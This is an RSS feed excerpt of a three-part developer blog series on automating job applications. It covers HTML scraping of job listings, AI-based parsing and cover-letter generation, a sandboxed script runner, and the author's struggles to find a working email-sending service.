<p>ps: this was an old project I did, just getting around to writing about it, I have something really good cooking up using ai. watch out for that announcement soon.</p>
]]></content:encoded></item><item><title><![CDATA[How I Automated My Job Application Process. (Part 3)]]></title><description><![CDATA[Welcome to the final part of this series. In Part 1, I showed you the proof of concept. In Part 2, we dove into the actual application. Now it's time for the good stuff - all the ways everything went wrong before it went right.
Remember when I said t...]]></description><link>https://blog.daviddodda.com/how-i-automated-my-job-application-process-part-3</link><guid isPermaLink="true">https://blog.daviddodda.com/how-i-automated-my-job-application-process-part-3</guid><category><![CDATA[automation]]></category><category><![CDATA[job search]]></category><category><![CDATA[Scripting]]></category><category><![CDATA[email]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Tue, 07 Jan 2025 22:30:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/6GMq7AGxNbE/upload/ecd8187b32301920c519a6f6dddcfd6f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Welcome to the final part of this series. In <a target="_blank" href="https://blog.daviddodda.com/how-i-automated-my-job-application-process-part-1">Part 1</a>, I showed you the proof of concept. In <a target="_blank" href="https://blog.daviddodda.com/how-i-automated-my-job-application-process-part-2">Part 2</a>, we dove into the actual application. Now it's time for the good stuff - all the ways everything went wrong before it went right.</p>
<p>Remember when I said the email system deserved its own article? Well, here it is. It's a story of hubris, AWS rejections, and what happens when you try to run your own email server. (Spoiler: Nothing good.)</p>
<h2 id="heading-the-email-system-saga">The Email System Saga</h2>
<p>I wanted something simple: a system that could send and receive emails programmatically and provide a decent ui to view sent emails and reply to incoming emails. Here's how that "simple" requirement turned into a two-week adventure.</p>
<h3 id="heading-round-1-the-simple-solution">Round 1: The Simple Solution</h3>
<p>First thought: "I'll just use Gmail's SMTP server!"</p>
<p>Problems:</p>
<ul>
<li><p>Their API documentation is a nightmare</p>
</li>
<li><p>You need to use OAuth 2.0 to authenticate and make API requests.</p>
</li>
<li><p>They're really not fond of automated emails</p>
</li>
<li><p>Even their business accounts have strict limits</p>
</li>
</ul>
<p>The real kicker? This used to be dead simple. Back in the day, you just had to enable the "less secure apps" option in your account settings, and boom - you could fire off emails using your username and password with nodemailer. No OAuth dance, no security theater, just simple SMTP auth. But Google killed that flow, and now we're left with a more complex setup that takes way more time to get running.</p>
<p>Next thought: "Fine, I'll use ProtonMail - they're privacy focused!"</p>
<ul>
<li><p>Requires a business account</p>
</li>
<li><p>Need to submit a request form</p>
</li>
<li><p>Have to get approved for SMTP access</p>
</li>
<li><p>Spoiler: They don't approve automation use cases</p>
</li>
</ul>
<h3 id="heading-round-2-aws-ses-simple-email-service">Round 2: AWS SES (Simple Email Service)</h3>
<p>AWS seemed perfect:</p>
<ul>
<li><p>Built for programmatic email sending</p>
</li>
<li><p>Great documentation</p>
</li>
<li><p>Reasonable pricing</p>
</li>
<li><p>Even handles incoming mail via S3 buckets</p>
</li>
</ul>
<p>I built a whole system around it:</p>
<ul>
<li><p>Outgoing emails through SES</p>
</li>
<li><p>Incoming emails saved to S3</p>
</li>
<li><p>Lambda function to process responses</p>
</li>
<li><p>MongoDB to track everything</p>
</li>
</ul>
<p>It worked beautifully in testing. Then I applied for production access...</p>
<pre><code class="lang-markdown">
Dear Developer,

Thank you for your request for production access to Amazon SES.
We have reviewed your use case and determined that it does not align with our service terms...
</code></pre>
<p>Turns out "I want to send automated job applications" isn't what they want to hear. Who knew?</p>
<h3 id="heading-round-3-the-self-hosted-dream">Round 3: The Self-Hosted Dream</h3>
<p>"Fine," I thought, "I'll run my own email server. How hard can it be?"</p>
<p>(Those words should be engraved on every developer's tombstone.)</p>
<p>I found this great tool called Mailcow that handles everything:</p>
<ul>
<li><p>SMTP server</p>
</li>
<li><p>IMAP support</p>
</li>
<li><p>Web interface</p>
</li>
<li><p>Spam filtering</p>
</li>
<li><p>The works</p>
</li>
</ul>
<p>The setup process was actually smooth:</p>
<ol>
<li><p>Spin up an server (I used an ec2 instance here)</p>
</li>
<li><p>Configure DNS records</p>
</li>
<li><p>Set up Mailcow</p>
</li>
<li><p>Open the required ports...</p>
</li>
</ol>
<p>Oh wait. AWS blocks SMTP ports by default. You have to request access. And guess what their response was?</p>
<p>Back to the drawing board.</p>
<h3 id="heading-round-4-vps-adventures">Round 4: VPS Adventures</h3>
<p>Okay, no AWS. I'll use a regular VPS where I have full port access!</p>
<p>Got Mailcow running on a cheap VPS I grabbed during Black Friday sales. Everything looked good:</p>
<ul>
<li><p>Server up and running</p>
</li>
<li><p>All ports open</p>
</li>
<li><p>DNS configured</p>
</li>
<li><p>TLS certificates in place</p>
</li>
</ul>
<p>I could receive emails! Victory!</p>
<p>...but I couldn't send any. And honestly? I never figured out why. The server was configured, the ports were open, everything looked right on paper - but no emails would go through. After countless attempts and configuration tweaks, I did what any sane developer would do: I shelved the entire project.</p>
<p>At this point, I had sunk two weeks into this email adventure with nothing to show for it. It was time to step back and rethink everything.</p>
<h3 id="heading-the-final-solution">The Final Solution</h3>
<p>Then one day, while taking a break from this project, I came across this video by Joe Barnard (the BPS.space guy):</p>
<p><a target="_blank" href="https://www.youtube.com/watch?v=4jgTCayWlwc">A rant on personal engineering projects</a></p>
<p>In it, he makes this brilliant point about the difference between company projects and personal projects. In a company, you optimize for things like cost, scalability, and perfect systems integration. But with personal projects? Your biggest challenge isn't making it cheap or efficient - it's actually finishing the damn thing.</p>
<p>He talks about how in a company, if one approach fails, you can buy another solution, hire consultants, or modify the requirements. But in a personal project, you're the only one responsible for everything. Your biggest risk isn't going over budget - it's the project never getting done at all.</p>
<p>So I did what I should have done from the start:</p>
<ol>
<li><p>Used Mailgun for sending emails</p>
</li>
<li><p>Set up their inbound routing to forward replies to my regular email</p>
</li>
<li><p>Added my email as BCC on all applications</p>
</li>
<li><p>Called it a day</p>
</li>
</ol>
<p>Was it the most elegant solution? No. Was it the cheapest? No. Did it work? Yes. Did it get me over the finish line? Also yes.</p>
<h2 id="heading-the-results">The Results</h2>
<p>In the end, I sent out about 250 job applications in 20 minutes. Total cost? About $5 in API fees.</p>
<p>The irony? I got a job offer before I even finished the project. Not from the automated applications - turns out networking still works better. But here's the real plot twist: talking about this project during my technical interview actually helped land me the job.</p>
<p>When they asked about challenging projects I'd worked on, I walked them through everything - the script execution system, the data pipeline, the email server saga. Nothing demonstrates your technical chops quite like explaining why you spent two weeks trying to run your own SMTP server before admitting defeat. Sometimes the projects that don't quite work out teach us the most valuable lessons - and make for the best interview stories.</p>
<h2 id="heading-lessons-learned">Lessons Learned</h2>
<ol>
<li><p>Start with the boring solution</p>
<ul>
<li><p>If something's been solved, use that solution</p>
</li>
<li><p>Your clever idea probably isn't worth the trouble</p>
</li>
<li><p>Every "I'll just build it myself" decision needs serious justification</p>
</li>
</ul>
</li>
<li><p>Define "good enough"</p>
<ul>
<li><p>Perfect email deliverability isn't needed for a personal project</p>
</li>
<li><p>You can forward emails instead of building an inbox</p>
</li>
<li><p>Sometimes BCC'ing yourself is the right solution</p>
</li>
</ul>
</li>
<li><p>Know when to quit</p>
<ul>
<li><p>Two weeks on email infrastructure was too long</p>
</li>
<li><p>"I've already spent X time on this" is a trap</p>
</li>
</ul>
</li>
<li><p>The best solution is the one that ships</p>
<ul>
<li><p>A working project beats a perfect plan</p>
</li>
<li><p>You can always improve it later</p>
</li>
<li><p>Sometimes "later" means "never," and that's okay</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-whats-next">What's Next?</h2>
<p>Could this project be better? Absolutely:</p>
<ul>
<li><p>The email generation could be batched to reduce API costs</p>
</li>
<li><p>The UI could be prettier</p>
</li>
<li><p>LinkedIn integration would be nice</p>
</li>
<li><p>Job board scraping could be automated</p>
</li>
</ul>
<p>Will I do any of that? Probably not. I have a job now, and more importantly, I learned what I needed to learn.</p>
<p>The code lives at <a target="_blank" href="https://jaas.fun">jaas.fun</a> if you want to check it out. Feel free to fork it, improve it, or use it as a cautionary tale about overengineering.</p>
<p>And if you're applying for jobs right now and want to use this tool, message me on LinkedIn or email me at <a target="_blank" href="mailto:dd@daviddodda.com">dd@daviddodda.com</a>. If enough people need it, I might even turn it into a proper product.</p>
<h2 id="heading-whats-coming-next">What's Coming Next</h2>
<p>Even though I landed a job (starting in a few days!), I'm not done building things. Nights, weekends, and that sweet spot between coffee and sleep? That's building time.</p>
<p>My next project tackles another part of the job hunt puzzle: "Pimp My Resume" - a tool for enhancing and auto-customizing your resume for specific job listings. Because if you thought automating job applications was fun, wait until you see what happens when we let AI loose on resume optimization.</p>
<p>Stay tuned. This one's going to be interesting.</p>
<hr />
<p><em>Thanks for following this series! If you want to talk about job automation, overengineering, or making personal projects that actually ship, find me on</em> <a target="_blank" href="https://x.com/DavidDodda_"><em>Twitter</em></a> <em>or</em> <a target="_blank" href="https://www.linkedin.com/in/arundavidreddy/"><em>LinkedIn</em></a><em>.</em></p>
]]></content:encoded></item><item><title><![CDATA[How I Automated My Job Application Process. (Part 2)]]></title><description><![CDATA[Welcome back! In Part 1, I showed you how I built a proof of concept to automate job applications using Python scripts. Now it's time for the fun part - turning those scripts into a proper application.
Here's what I learned: the gap between "it's a w...]]></description><link>https://blog.daviddodda.com/how-i-automated-my-job-application-process-part-2</link><guid isPermaLink="true">https://blog.daviddodda.com/how-i-automated-my-job-application-process-part-2</guid><category><![CDATA[automation]]></category><category><![CDATA[job search]]></category><category><![CDATA[Scripting]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Tue, 31 Dec 2024 14:50:06 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/bKhETeDV1WM/upload/30884d8f6a2b8cf95818fbbe73eaace2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Welcome back! In Part 1, I showed you how I built a proof of concept to automate job applications using Python scripts. Now it's time for the fun part - turning those scripts into a proper application.</p>
<p>Here's what I learned: the gap between "it's a working POC" and "it's a real application" is where dreams go to die. But we're going to cross that gap anyway.</p>
<h2 id="heading-from-scripts-to-system">From Scripts to System</h2>
<p>Those Python scripts evolved into different script types in the application, each handling a specific part of the process. Every job search became a "campaign" with its own pipeline. Here's how it works:</p>
<ol>
<li>Raw HTML Storage: You dump in raw HTML from job boards</li>
</ol>
<pre><code class="lang-json"><span class="hljs-comment">// example html for a job listing</span>
&lt;article id=<span class="hljs-string">"article-42478761"</span> class=<span class="hljs-string">"action-buttons"</span>&gt;&lt;a href=<span class="hljs-string">"/jobsearch/jobposting/42478761?source=searchresults"</span>
            id=<span class="hljs-string">"ajaxupdateform:j_id_31_3_3p:1:j_id_31_3_3r"</span> class=<span class="hljs-string">"resultJobItem"</span>&gt;
            &lt;h3 class=<span class="hljs-string">"title"</span>&gt;
                &lt;span class=<span class="hljs-string">"flag"</span>&gt;
                    &lt;span class=<span class="hljs-string">"new"</span>&gt;
                        New
                    &lt;/span&gt;&lt;span class=<span class="hljs-string">"telework"</span>&gt;On site&lt;/span&gt;&lt;span class=<span class="hljs-string">"postedonJB"</span>&gt;
                        Posted on Job Bank
                        &lt;span class=<span class="hljs-string">"description"</span>&gt;&lt;span class=<span class="hljs-string">"fa fa-info-circle"</span> aria-hidden=<span class="hljs-string">"true"</span>&gt;&lt;/span&gt;This job was
                            posted directly by the employer on Job Bank.&lt;/span&gt;
                    &lt;/span&gt;

                &lt;/span&gt;
                &lt;span class=<span class="hljs-string">"job-source job-source-icon-16"</span>&gt;&lt;span class=<span class="hljs-string">"wb-inv"</span>&gt;Job Bank&lt;/span&gt;&lt;/span&gt;
                &lt;span class=<span class="hljs-string">"noctitle"</span>&gt; software developer

                &lt;/span&gt;
            &lt;/h3&gt;

            &lt;ul class=<span class="hljs-string">"list-unstyled"</span>&gt;
                &lt;li class=<span class="hljs-string">"date"</span>&gt;November <span class="hljs-number">08</span>, <span class="hljs-number">2024</span>
                &lt;/li&gt;
                &lt;li class=<span class="hljs-string">"business"</span>&gt;OMEGA SOFTWARE SERVICES LTD.&lt;/li&gt;
                &lt;li class=<span class="hljs-string">"location"</span>&gt;&lt;span class=<span class="hljs-string">"fas fa-map-marker-alt"</span> aria-hidden=<span class="hljs-string">"true"</span>&gt;&lt;/span&gt; &lt;span
                        class=<span class="hljs-string">"wb-inv"</span>&gt;Location&lt;/span&gt;

                    Scarborough (ON)

                &lt;/li&gt;
                &lt;li class=<span class="hljs-string">"salary"</span>&gt;&lt;span class=<span class="hljs-string">"fa fa-dollar"</span> aria-hidden=<span class="hljs-string">"true"</span>&gt;&lt;/span&gt;
                    Salary:
                    $<span class="hljs-number">50.00</span> hourly&lt;/li&gt;
                &lt;li class=<span class="hljs-string">"source"</span>&gt;&lt;span class=<span class="hljs-string">"job-source job-source-icon-16"</span>&gt;&lt;span class=<span class="hljs-string">"wb-inv"</span>&gt;Job
                            Bank&lt;/span&gt;&lt;/span&gt;
                    &lt;span class=<span class="hljs-string">"wb-inv"</span>&gt;Job number:&lt;/span&gt;
                    &lt;span class=<span class="hljs-string">"fa fa-hashtag"</span> aria-hidden=<span class="hljs-string">"true"</span>&gt;&lt;/span&gt;
                    <span class="hljs-number">3146897</span>
                &lt;/li&gt;
            &lt;/ul&gt;
        &lt;/a&gt;&lt;span id=<span class="hljs-string">"ajaxupdateform:j_id_31_3_3p:1:favouritegroup"</span> class=<span class="hljs-string">"float job-action"</span>&gt;
            &lt;a href=<span class="hljs-string">"/login"</span> data-jobid=<span class="hljs-string">"42478761"</span> class=<span class="hljs-string">"favourite saveLoginRedirectURI"</span>
                onclick=<span class="hljs-string">"saveLoginRedirectURIListener(this);"</span>&gt;
                &lt;span class=<span class="hljs-string">"wb-inv"</span>&gt;software developer - Save to favourites&lt;/span&gt;
            &lt;/a&gt;&lt;/span&gt;
    &lt;/article&gt;
</code></pre>
<p>2. Initial Cleanup: A script turns that mess into structured JSON like this:</p>
<pre><code class="lang-json"> {
    <span class="hljs-attr">"job_link"</span>: <span class="hljs-string">"https://www.jobbank.gc.ca/jobsearch/jobposting/42478761?source=searchresults"</span>,
    <span class="hljs-attr">"job_id"</span>: <span class="hljs-string">"42478761"</span>,
    <span class="hljs-attr">"job_role"</span>: <span class="hljs-string">"software developer"</span>,
    <span class="hljs-attr">"employer"</span>: <span class="hljs-string">"OMEGA SOFTWARE SERVICES LTD."</span>,
    <span class="hljs-attr">"location"</span>: <span class="hljs-string">"Scarborough (ON)"</span>,
    <span class="hljs-attr">"work_arrangement"</span>: <span class="hljs-string">"On site"</span>,
    <span class="hljs-attr">"salary"</span>: <span class="hljs-string">"$50.00 hourly"</span>
  }
</code></pre>
<p>3. Job Fetching: Another script hits each job URL and grabs the full posting (with polite delays between requests because we're not savages) 4. Job Data Cleaning: This script uses AI to turn job postings into clean, structured data including:</p>
<ul>
<li><p>Contact email</p>
</li>
<li><p>Application instructions</p>
</li>
<li><p>Full job description in markdown</p>
</li>
<li><p>Additional metadata (salary, location, requirements)</p>
</li>
</ul>
<pre><code class="lang-json">{
    <span class="hljs-attr">"job_id"</span>: <span class="hljs-string">"42313964"</span>,
    <span class="hljs-attr">"processed_timestamp"</span>: <span class="hljs-string">"2024-12-25T19:45:39.829Z"</span>,
    <span class="hljs-attr">"original_fetch_timestamp"</span>: <span class="hljs-string">"2024-12-25T19:40:46.187Z"</span>,
    <span class="hljs-attr">"job_json"</span>: {
      <span class="hljs-attr">"contact_email"</span>: <span class="hljs-string">"careers@wiasystems.com"</span>,
      <span class="hljs-attr">"application_instructions"</span>: <span class="hljs-string">"To apply, please send your resume and cover letter to careers@wiasystems.com."</span>,
      <span class="hljs-attr">"job_posting_text"</span>: <span class="hljs-string">"# Job Posting\n\n## Job Title: Software Engineer\n\n**Job Description:**\n\n- Education: Bachelor's degree in Computer Science or related field\n- Experience: 2 years to less than 3 years\n- Location: Vancouver, BC\n- Work Arrangement: Hybrid (in-person and remote)\n\n## Job Responsibilities:\n\n- Collect and document user's requirements\n- Coordinate the development, installation, integration and operation of computer-based systems\n- Define system functionality\n- Develop flowcharts, layouts, and documentation to identify solutions\n- Develop process and network models to optimize architecture\n- Develop software solutions by studying systems flow, data usage, and work processes\n- Evaluate the performance and reliability of system designs\n- Evaluate user feedback\n- Execute full lifecycle software development\n- Prepare plan to maintain software\n- Research technical information to design, develop, and test computer-based systems\n- Synthesize technical information for every phase of the cycle of a computer-based system\n- Upgrade and maintain software\n- Lead and coordinate teams of information systems professionals in the development of software and integrated information systems, process control software, and other embedded software control systems\n\n## Required Skills and Qualifications:\n\n- Agile\n- Cloud\n- Development and operations (DevOps)\n- Eclipse\n- Jira\n- Microsoft Visual Studio\n- HTML\n- Intranet\n- Internet\n- XML Technology (XSL, XSD, DTD)\n- Servers\n- Desktop applications\n- Enterprise Applications Integration (EAI)\n- Java\n- File management software\n- Word processing software\n- X Windows\n- Servlet\n- Object-Oriented programming languages\n- Presentation software\n- Mail server software\n- Project management software\n- Programming software\n- SQL\n- Database software\n- Programming languages\n- Software development\n- XML\n- MS Office\n- Spreadsheet\n- Oracle\n- TCP/IP\n- Amazon Web Services (AWS)\n- Git\n- Atlassian Confluence\n- GitHub\n- Performance testing\n- Postman\n- Software quality assurance\n- MS Excel\n- MS Outlook\n- MS SQL Server\n\n### Benefits:\n\n- Health benefits: Dental plan, Health care plan, Vision care benefits\n- Other benefits: Learning/training paid by employer, Other benefits, Paid time off (volunteering or personal days)\n\nFor more information about the position and to apply, please send your resume and cover letter to careers@wiasystems.com."</span>,
      <span class="hljs-attr">"job_posting_link"</span>: <span class="hljs-string">"https://www.jobbank.gc.ca/jobsearch/jobposting/42313964?source=searchresults"</span>,
      <span class="hljs-attr">"additional_info"</span>: {
        <span class="hljs-attr">"salary"</span>: <span class="hljs-string">"CAD 60.50 per hour"</span>,
        <span class="hljs-attr">"location"</span>: <span class="hljs-string">"Vancouver, BC"</span>,
        <span class="hljs-attr">"job_role"</span>: <span class="hljs-string">"Software Engineer"</span>,
        <span class="hljs-attr">"company_name"</span>: <span class="hljs-string">"WIA Software Systems Inc."</span>,
        <span class="hljs-attr">"job_type"</span>: <span class="hljs-string">"Permanent, Full-time"</span>,
        <span class="hljs-attr">"required_experience"</span>: <span class="hljs-string">"2 years to less than 3 years"</span>,
        <span class="hljs-attr">"required_education"</span>: <span class="hljs-string">"Bachelor's degree in Computer Science or related field"</span>,
        <span class="hljs-attr">"language_requirements"</span>: <span class="hljs-string">"English"</span>,
        <span class="hljs-attr">"work_arrangement"</span>: <span class="hljs-string">"Hybrid (in-person and remote)"</span>
      }
    },
    <span class="hljs-attr">"raw_gpt_responce"</span>: <span class="hljs-string">""</span>
  },
</code></pre>
<p>5. Email Generation: Takes your resume + job data and crafts personalized applications that don't sound like they came from a robot</p>
<ol start="6">
<li>Email Sending: The final step that actually gets your applications out the door</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1735606031886/62fd0188-b847-4f04-b83d-43e04f0d2169.png" alt class="image--center mx-auto" /></p>
<p>Each campaign is isolated. While a campaign can only run one script at a time (like going from cleanup to fetching to email generation), different campaigns run independently. Think of it like having multiple assembly lines - if one line stops, the others keep humming along. A script breaking in one campaign won't mess with jobs running in another.</p>
<h2 id="heading-the-tech-stack">The Tech Stack</h2>
<p>I could tell you I chose each piece of technology after careful consideration of all possible options. But the truth? I went with what I knew would get the job done:</p>
<ul>
<li><p>Frontend: Next.js with Shadcn for UI components</p>
</li>
<li><p>Backend: Express.js and nodejs (with typescript)</p>
</li>
<li><p>Database: MongoDB for the job data</p>
</li>
<li><p>Queue System: Redis for background jobs</p>
</li>
<li><p>AI Integration: Modular setup supporting multiple providers</p>
</li>
</ul>
<p>The application lives at <a target="_blank" href="https://jaas.fun">jaas.fun</a> (Job Application Automation System - I'm great at names, I know).</p>
<h2 id="heading-the-campaign-system">The Campaign System</h2>
<p>Each campaign in the system is completely isolated. This was crucial because:</p>
<ul>
<li><p>Different job boards need different scripts</p>
</li>
<li><p>Rate limits hit at different times</p>
</li>
<li><p>You want to test new approaches without breaking existing ones</p>
</li>
</ul>
<p>The campaign schema tracks everything:</p>
<ul>
<li><p>Raw HTML from job boards</p>
</li>
<li><p>Cleanup scripts</p>
</li>
<li><p>Generated JSON</p>
</li>
<li><p>Email templates</p>
</li>
<li><p>Processing status</p>
</li>
</ul>
<p>Each type of script gets specific functions based on its role:</p>
<ul>
<li><p>Cleanup scripts: Access to read raw HTML and save cleaned JSON</p>
</li>
<li><p>Fetch scripts: Network access to job boards and data storage</p>
</li>
<li><p>Email generation scripts: Access to AI models and resume data</p>
</li>
<li><p>Email sending scripts: Access to email services and campaign status updates</p>
</li>
</ul>
<p>No script can access functions outside its type - a cleanup script can't send emails, and an email script can't fetch new jobs. It's like giving each worker exactly the tools they need, nothing more.</p>
<h2 id="heading-the-script-execution-system">The Script Execution System</h2>
<p>This is where things get really interesting. Remember how we need to run untrusted code (our cleanup and processing scripts) safely? Enter the script execution system.</p>
<p>Here's how it works:</p>
<ol>
<li><p>Each script gets queued in Redis with:</p>
<ul>
<li><p>Campaign ID</p>
</li>
<li><p>Script type (cleanup, fetch, email generation)</p>
</li>
<li><p>Script content</p>
</li>
<li><p>Input data</p>
</li>
</ul>
</li>
<li><p>A worker process runs continuously, waiting for new jobs. It uses <code>vm2</code> to create a sandboxed environment for each script. Why? Because running arbitrary JavaScript is dangerous, and I enjoy sleeping at night.</p>
</li>
<li><p>Each script runs in its own sandbox with:</p>
<ul>
<li><p>A custom <code>console.log</code> that streams to Redis</p>
</li>
<li><p>Access to only its input data</p>
</li>
<li><p>Complete isolation from the main system</p>
</li>
<li><p>No artificial time limits (because processing 100 jobs takes longer than processing 1)</p>
</li>
</ul>
</li>
</ol>
<p>The logging system is pretty neat. Instead of writing to files or console, every log message gets:</p>
<ul>
<li><p>Timestamped</p>
</li>
<li><p>Stored in Redis by campaign and script type</p>
</li>
<li><p>Streamed back to the UI in real-time</p>
</li>
</ul>
<p>The best part? The whole thing is crash-proof. If a script fails, the campaign gets marked as failed but nothing else breaks. If the worker crashes, it restarts and picks up where it left off. You can literally close your browser, go get coffee, maybe actually prepare for those interviews you're about to get.</p>
<p>When a script finishes, the worker:</p>
<ol>
<li><p>Takes the output and saves it to the right place in MongoDB</p>
</li>
<li><p>Updates the campaign status</p>
</li>
<li><p>Cleans up any temporary data</p>
</li>
<li><p>Moves on to the next job</p>
</li>
</ol>
<p>And because it's all queue-based, you can have multiple workers running if you need to process more campaigns.</p>
<h2 id="heading-the-data-pipeline">The Data Pipeline</h2>
<p>Let me walk you through how data actually flows through the system:</p>
<ol>
<li><p>Raw HTML Processing:</p>
<ul>
<li><p>User dumps raw HTML from job boards into a campaign</p>
</li>
<li><p>A script using Cheerio extracts basic details (job ID, title, salary)</p>
</li>
<li><p>Smart error handling catches missing fields early</p>
</li>
<li><p>HTML gets minified to save storage (we went from 175KB to 32KB per job)</p>
</li>
</ul>
</li>
<li><p>Job Details Fetching:</p>
<ul>
<li><p>System hits each job URL with proper headers (looking like a real browser)</p>
</li>
<li><p>Handles different request types (GET for main page, POST for "how to apply")</p>
</li>
<li><p>Adds delays between requests (2-3 seconds) to be nice to job boards</p>
</li>
<li><p>Handles timeouts and expired job postings gracefully</p>
</li>
</ul>
</li>
<li><p>AI-Powered Data Cleaning:</p>
<ul>
<li><p>Turns messy HTML into structured job data</p>
</li>
<li><p>Extracts everything from salary ranges to required skills</p>
</li>
<li><p>Formats job descriptions as clean markdown</p>
</li>
<li><p>Every response includes metadata about processing time and data quality</p>
</li>
</ul>
</li>
<li><p>Cover Letter Generation:</p>
<ul>
<li><p>Pulls your resume from a configured source (GitHub in my case)</p>
</li>
<li><p>Matches your skills against job requirements</p>
</li>
<li><p>Generates both HTML and plain text versions</p>
</li>
<li><p>Even includes metadata about which skills matched</p>
</li>
<li><p>Fails fast if critical info is missing</p>
</li>
</ul>
</li>
</ol>
<h2 id="heading-the-email-system">The Email System</h2>
<p>Here's where things get really interesting. The email generation system isn't just sending form letters - it's creating completely personalized applications:</p>
<ol>
<li><p>Smart Resume Handling:</p>
<ul>
<li><p>Pulls your resume from a configured source</p>
</li>
<li><p>Parses skills and experience</p>
</li>
<li><p>Maps your background to job requirements</p>
</li>
</ul>
</li>
<li><p>Template-Free Generation:</p>
<ul>
<li><p>No generic "I saw your posting" emails</p>
</li>
<li><p>Each letter references specific job details</p>
</li>
<li><p>System tracks key points addressed</p>
</li>
<li><p>Includes metadata about skill matches</p>
</li>
</ul>
</li>
<li><p>Quality Control:</p>
<ul>
<li><p>Generates both HTML and plain text versions</p>
</li>
<li><p>Fails fast if critical info is missing</p>
</li>
<li><p>Tracks missing recommended fields</p>
</li>
<li><p>Analyzes tone and content</p>
</li>
</ul>
</li>
<li><p>Sending System:</p>
<ul>
<li><p>Handles rate limiting automatically</p>
</li>
<li><p>BCC's you on all applications</p>
</li>
</ul>
</li>
</ol>
<p>The system even includes metadata about how well your experience matches the job requirements. It's like having a really picky editor who happens to be really, really fast.</p>
<h2 id="heading-whats-next">What's Next</h2>
<p>Remember how in Part 1 I mentioned the email system? Oh boy. That deserves its own article. In Part 3, I'm going to tell you about:</p>
<ul>
<li><p>Getting rejected by AWS</p>
</li>
<li><p>The pitfalls of self-hosted SMTP servers</p>
</li>
<li><p>Understanding why big companies don't want you sending automated job applications</p>
</li>
<li><p>Finally finding a solution that works</p>
</li>
</ul>
<p>Plus, I'll tell you how I got a job offer before even finishing this project. (Spoiler: It involves accidentally automating myself into a corner.)</p>
<p>In the meantime, check out <a target="_blank" href="https://jaas.fun">jaas.fun</a> for:</p>
<ul>
<li><p>The complete source code</p>
</li>
<li><p>Guide on writing scripts and using the application (written with the same attention to detail as my commit messages - "fixed stuff")</p>
</li>
<li><p>Video demo of the system in action</p>
</li>
</ul>
<p><em>Want to know when Part 3 drops? The one with all the juicy email server drama? Follow me on</em> <a target="_blank" href="https://x.com/DavidDodda_"><em>Twitter</em></a> <em>or</em> <a target="_blank" href="https://www.linkedin.com/in/arundavidreddy/"><em>LinkedIn</em></a><em>. It has all the lessons learned about email infrastructure, rate limiting, and why not all shortcuts lead to where you think they will.</em></p>
]]></content:encoded></item><item><title><![CDATA[How I Automated My Job Application Process. (Part 1)]]></title><description><![CDATA[Look, I'll be honest - job hunting sucks.
It's this soul-crushing cycle of copying and pasting the same information over and over again, tweaking your resume for the 100th time, and writing cover letters that make you sound desperate without actually...]]></description><link>https://blog.daviddodda.com/how-i-automated-my-job-application-process-part-1</link><guid isPermaLink="true">https://blog.daviddodda.com/how-i-automated-my-job-application-process-part-1</guid><category><![CDATA[automation]]></category><category><![CDATA[job search]]></category><category><![CDATA[Scripting]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Fri, 27 Dec 2024 13:22:04 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/adK3Vu70DEQ/upload/32c8ed79dffb4391f38a1ccb7817be2f.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Look, I'll be honest - job hunting sucks.</p>
<p>It's this soul-crushing cycle of copying and pasting the same information over and over again, tweaking your resume for the 100th time, and writing cover letters that make you sound desperate without actually sounding desperate.</p>
<p>But here's the thing: repetitive tasks + structured process = perfect automation candidate.</p>
<p>So I did what any sane developer would do - I built a system to automate the whole damn thing. By the end, I had sent out 250 job applications in 20 minutes. (The irony? I got a job offer before I even finished building it. More on that later.)</p>
<p>Let me walk you through how I did it.</p>
<h2 id="heading-the-job-application-process-is-broken">The Job Application Process is Broken</h2>
<p>Think about it - every job application follows the same basic pattern:</p>
<ol>
<li><p>Find job posting</p>
</li>
<li><p>Check if you're qualified</p>
</li>
<li><p>Research company (let's be real, most people skip this)</p>
</li>
<li><p>Submit resume + cover letter</p>
</li>
<li><p>Wait... and wait... and wait...</p>
</li>
</ol>
<p>It's like a really boring video game where you do the same quest over and over, hoping for different results.</p>
<h2 id="heading-building-the-proof-of-concept">Building the Proof of Concept</h2>
<p>I started by writing some quick Python scripts to test if this crazy idea could work. Here's how I broke it down:</p>
<h3 id="heading-step-1-getting-the-job-listings-the-manual-part">Step 1: Getting the Job Listings (The Manual Part)</h3>
<p>First challenge: getting job listings at scale. I tried web scraping but quickly realized something: job boards are like snowflakes - each one is uniquely annoying to scrape.</p>
<p>I tested dumping entire web pages into an LLM to clean the data, but:</p>
<ul>
<li><p>It was expensive as hell</p>
</li>
<li><p>I didn't want the AI hallucinating job requirements (imagine explaining that in an interview)</p>
</li>
</ul>
<p>So I went old school - manual HTML copying. Yes, it's primitive. Yes, it works. Sometimes the simplest solution is the best solution.</p>
<h3 id="heading-step-2-cleaning-the-raw-html">Step 2: Cleaning the Raw HTML</h3>
<p>The raw HTML was a mess, but I needed structured data like this:</p>
<pre><code class="lang-json">{
    <span class="hljs-attr">"job_link"</span>: <span class="hljs-string">"https://example.com/job/12345"</span>,
    <span class="hljs-attr">"job_id"</span>: <span class="hljs-string">"12345"</span>,
    <span class="hljs-attr">"job_role"</span>: <span class="hljs-string">"software developer"</span>,
    <span class="hljs-attr">"employer"</span>: <span class="hljs-string">"Tech Corp Inc"</span>,
    <span class="hljs-attr">"location"</span>: <span class="hljs-string">"San Francisco, CA"</span>,
    <span class="hljs-attr">"work_arrangement"</span>: <span class="hljs-string">"Remote"</span>,
    <span class="hljs-attr">"salary"</span>: <span class="hljs-string">"$150,000"</span>
}
</code></pre>
<p>Pro tip: You can just show ChatGPT a sample of your HTML and the output format you want, and it'll write the parsing script for you. Work smarter, not harder.</p>
<h3 id="heading-step-3-getting-the-full-job-details">Step 3: Getting the Full Job Details</h3>
<p>This part was straightforward but required some finesse. For each job listing, I made a GET request to fetch the full description. Each request returns raw HTML that still has all the website scaffolding - navigation bars, popups, footer junk, the works.</p>
